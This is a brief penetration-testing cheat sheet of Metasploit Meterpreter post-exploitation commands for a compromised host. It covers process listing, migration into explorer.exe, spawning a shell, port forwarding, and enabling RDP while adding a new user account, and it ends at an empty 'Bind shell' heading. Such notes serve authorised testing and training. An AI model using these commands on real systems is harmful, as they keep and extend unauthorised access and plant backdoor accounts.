Metasploit

Migrate processes

# Check which processes are running on the compromised host
ps

# Migrate to a process of choice
migrate -N explorer.exe
shell

Port forward

# Forward remote port to a local port
portfwd add -l <local port> -p <port to be forwarded> -r <remote host>

Enable RDP

# Check if RDP is enabled first
xfreerdp /v:<target ip>

# Enable RDP
run getgui -e

# Enable RDP and add a new user
run getgui -e -u <new username> -p <new password>

Bind shell

Last updated